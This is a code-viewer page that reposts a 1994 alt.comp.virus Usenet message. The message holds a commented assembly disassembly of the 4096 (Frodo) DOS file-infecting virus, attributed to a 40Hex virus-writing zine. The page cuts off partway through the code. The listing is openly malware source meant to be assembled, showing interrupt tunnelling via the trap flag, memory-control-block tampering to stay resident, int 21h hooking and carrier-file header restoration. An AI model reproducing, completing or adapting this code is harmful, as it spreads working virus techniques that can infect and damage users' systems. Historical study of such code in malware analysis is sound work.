📄 frodo.asm
字号:
;From netcom.com!ix.netcom.com!howland.reston.ans.net!usc!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:49:56 1994
;Xref: netcom.com alt.comp.virus:485
;Path: netcom.com!ix.netcom.com!howland.reston.ans.net!usc!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair
;From: clair@myhost.subdomain.domain (The Clairvoyant)
;Newsgroups: alt.comp.virus
;Subject: Frodo source
;Date: 28 Nov 1994 07:47:20 GMT
;Organization: String to put in the Organization Header
;Lines: 1814
;Message-ID: <3bc1u8$mjc@gaia.ucs.orst.edu>
;NNTP-Posting-Host: tempest.rhn.orst.edu
;X-Newsreader: TIN [version 1.2 PL2]
_4096 segment byte public
assume cs:_4096, ds:_4096
; 4096 Virus
; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
; Assemble with TASM; the resultant file size is 4081 bytes
org 0
startvirus:
db 0
jmp installvirus
oldheader: ; original 1Ch bytes of the carrier file
retn
db 75h,02,44h,15h,46h,20h
db 'Copyright Bourb%}i, I'
endoldheader:
EXEflag db 00h
db 0FEh, 3Ah
int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
push bp ; set up stack frame
mov bp,sp
push ax
cmp word ptr [bp+4],0C000h ; in BIOS?
jnb foundorigint ; nope, haven't found it
mov ax,cs:DOSsegment ; in DOS?
cmp [bp+4],ax
jbe foundorigint
exitint1:
pop ax
pop bp
iret
foundorigint:
cmp byte ptr cs:tracemode,1
jz tracemode1
mov ax,[bp+4] ; save segment of entry point
mov word ptr cs:origints+2,ax
mov ax,[bp+2] ; save offset of entry point
mov word ptr cs:origints,ax
jb finishint1
pop ax
pop bp
mov ss,cs:savess ; restore the stack to its
mov sp,cs:savesp ; original state
mov al,cs:saveIMR ; Restore IMR
out 21h,al ; (enable interrupts)
jmp setvirusints
finishint1:
and word ptr [bp+6],0FEFFh ; turn off trap flag
mov al,cs:saveIMR ; and restore IMR
out 21h,al
jmp short exitint1
tracemode1:
dec byte ptr cs:instructionstotrace
jnz exitint1
and word ptr [bp+6],0FEFFh ; turn off trap flag
call saveregs
call swapvirint21 ; restore original int
lds dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
mov al,1
call setvect
call restoreregs
jmp short finishint1
getint:
push ds
push si
xor si,si ; clear si
mov ds,si ; ds->interrupt table
xor ah,ah ; cbw would be better!?
mov si,ax
shl si,1 ; convert int # to offset in
shl si,1 ; interrupt table (int # x 4)
mov bx,[si] ; es:bx = interrupt vector
mov es,[si+2] ; get old interrupt vector
; save 3 bytes if use les bx,[si]
pop si
pop ds
retn
installvirus:
mov word ptr cs:stackptr,offset topstack
mov cs:initialax,ax ; save initial value for ax
mov ah,30h ; Get DOS version
int 21h
mov cs:DOSversion,al ; Save DOS version
mov cs:carrierPSP,ds ; Save PSP segment
mov ah,52h ; Get list of lists
int 21h
mov ax,es:[bx-2] ; segment of first MCB
mov cs:DOSsegment,ax ; save it for use in int 1
mov es,ax ; es = segment first MCB
mov ax,es:[1] ; Get owner of first MCB
mov cs:ownerfirstMCB,ax ; save it
push cs
pop ds
mov al,1 ; get single step vector
call getint
mov word ptr ds:oldint1,bx ; save it for later
mov word ptr ds:oldint1+2,es; restoration
mov al,21h ; get int 21h vector
call getint
mov word ptr ds:origints,bx
mov word ptr ds:origints+2,es
mov byte ptr ds:tracemode,0 ; regular trace mode on
mov dx,offset int1 ; set new int 1 handler
mov al,1
call setvect
pushf
pop ax
or ax,100h ; turn on trap flag
push ax
in al,21h ; Get old IMR
mov ds:saveIMR,al
mov al,0FFh ; disable all interrupts
out 21h,al
popf
mov ah,52h ; Get list of lists
pushf ; (for tracing purposes)
call dword ptr ds:origints ; perform the tunnelling
pushf
pop ax
and ax,0FEFFh ; turn off trap flag
push ax
popf
mov al,ds:saveIMR ; reenable interrupts
out 21h,al
push ds
lds dx,dword ptr ds:oldint1
mov al,1 ; restore int 1 to the
call setvect ; original handler
pop ds
les di,dword ptr ds:origints; set up int 21h handlers
mov word ptr ds:oldint21,di
mov word ptr ds:oldint21+2,es
mov byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
mov word ptr ds:int21store,offset otherint21
mov word ptr ds:int21store+2,cs
call swapvirint21 ; activate virus in memory
mov ax,4B00h
mov ds:checkres,ah ; set resident flag to a
; dummy value
mov dx,offset EXEflag+1 ; save EXE flag
push word ptr ds:EXEflag
int 21h ; installation check
; returns checkres=0 if
; installed
pop word ptr ds:EXEflag ; restore EXE flag
add word ptr es:[di-4],9
nop ; !?
mov es,ds:carrierPSP ; restore ES and DS to their
mov ds,ds:carrierPSP ; original values
sub word ptr ds:[2],(topstack/10h)+1
; alter top of memory in PSP
mov bp,ds:[2] ; get segment
mov dx,ds
sub bp,dx
mov ah,4Ah ; Find total available memory
mov bx,0FFFFh
int 21h
mov ah,4Ah ; Allocate all available memory
int 21h
dec dx ; go to MCB of virus memory
mov ds,dx
cmp byte ptr ds:[0],'Z' ; is it the last block?
je carrierislastMCB
dec byte ptr cs:checkres ; mark need to install virus
carrierislastMCB:
cmp byte ptr cs:checkres,0 ; need to install?
je playwithMCBs ; nope, go play with MCBs
mov byte ptr ds:[0],'M' ; mark not end of chain
playwithMCBs:
mov ax,ds:[3] ; get memory size controlled
mov bx,ax ; by the MCB
sub ax,(topstack/10h)+1 ; calculate new size
add dx,ax ; find high memory segment
mov ds:[3],ax ; put new size in MCB
inc dx ; one more for the MCB
mov es,dx ; es->high memory MCB
mov byte ptr es:[0],'Z' ; mark end of chain
push word ptr cs:ownerfirstMCB ; get DOS PSP ID
pop word ptr es:[1] ; make it the owner
mov word ptr es:[3],160h ; fill in the size field
inc dx
mov es,dx ; es->high memory area
push cs
pop ds
mov cx,(topstack/2) ; zopy 0-1600h to high memory
mov si,offset topstack-2
mov di,si
std ; zopy backwards
rep movsw
cld
push es ; set up stack for jmp into
mov ax,offset highentry ; virus code in high memory
push ax
mov es,cs:carrierPSP ; save current PSP segment
mov ah,4Ah ; Alter memory allocation
mov bx,bp ; bx = paragraphs
int 21h
retf ; jmp to virus code in high
highentry: ; memory
call swapvirint21
mov word ptr cs:int21store+2,cs
call swapvirint21
push cs
pop ds
mov byte ptr ds:handlesleft,14h ; reset free handles count
push cs
pop es
mov di,offset handletable
mov cx,14h
xor ax,ax ; clear handle table
rep stosw
mov ds:hideclustercountchange,al ; clear the flag
mov ax,ds:carrierPSP
mov es,ax ; es->PSP
lds dx,dword ptr es:[0Ah] ; get terminate vector (why?)
mov ds,ax ; ds->PSP
add ax,10h ; adjust for PSP
add word ptr cs:oldheader+16h,ax ; adjust jmp location
cmp byte ptr cs:EXEflag,0 ; for PSP
jne returntoEXE
returntoCOM:
sti
mov ax,word ptr cs:oldheader; restore first 6 bytes of the
mov ds:[100h],ax ; COM file
mov ax,word ptr cs:oldheader+2
mov ds:[102h],ax
mov ax,word ptr cs:oldheader+4
mov ds:[104h],ax
push word ptr cs:carrierPSP ; Segment of carrier file's
mov ax,100h ; PSP
push ax
mov ax,cs:initialax ; restore orig. value of ax
retf ; return to original COM file
returntoEXE:
add word ptr cs:oldheader+0eh,ax
mov ax,cs:initialax ; Restore ax
mov ss,word ptr cs:oldheader+0eh ; Restore stack to
mov sp,word ptr cs:oldheader+10h ; original value
sti
jmp dword ptr cs:oldheader+14h ; jmp to original cs:IP
; entry point
entervirus:
cmp sp,100h ; COM file?
ja dont_resetstack ; if so, skip this
xor sp,sp ; new stack
dont_resetstack:
mov bp,ax
call next ; calculate relativeness
next:
pop cx
sub cx,offset next ; cx = delta offset
mov ax,cs ; ax = segment
mov bx,10h ; convert to offset
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -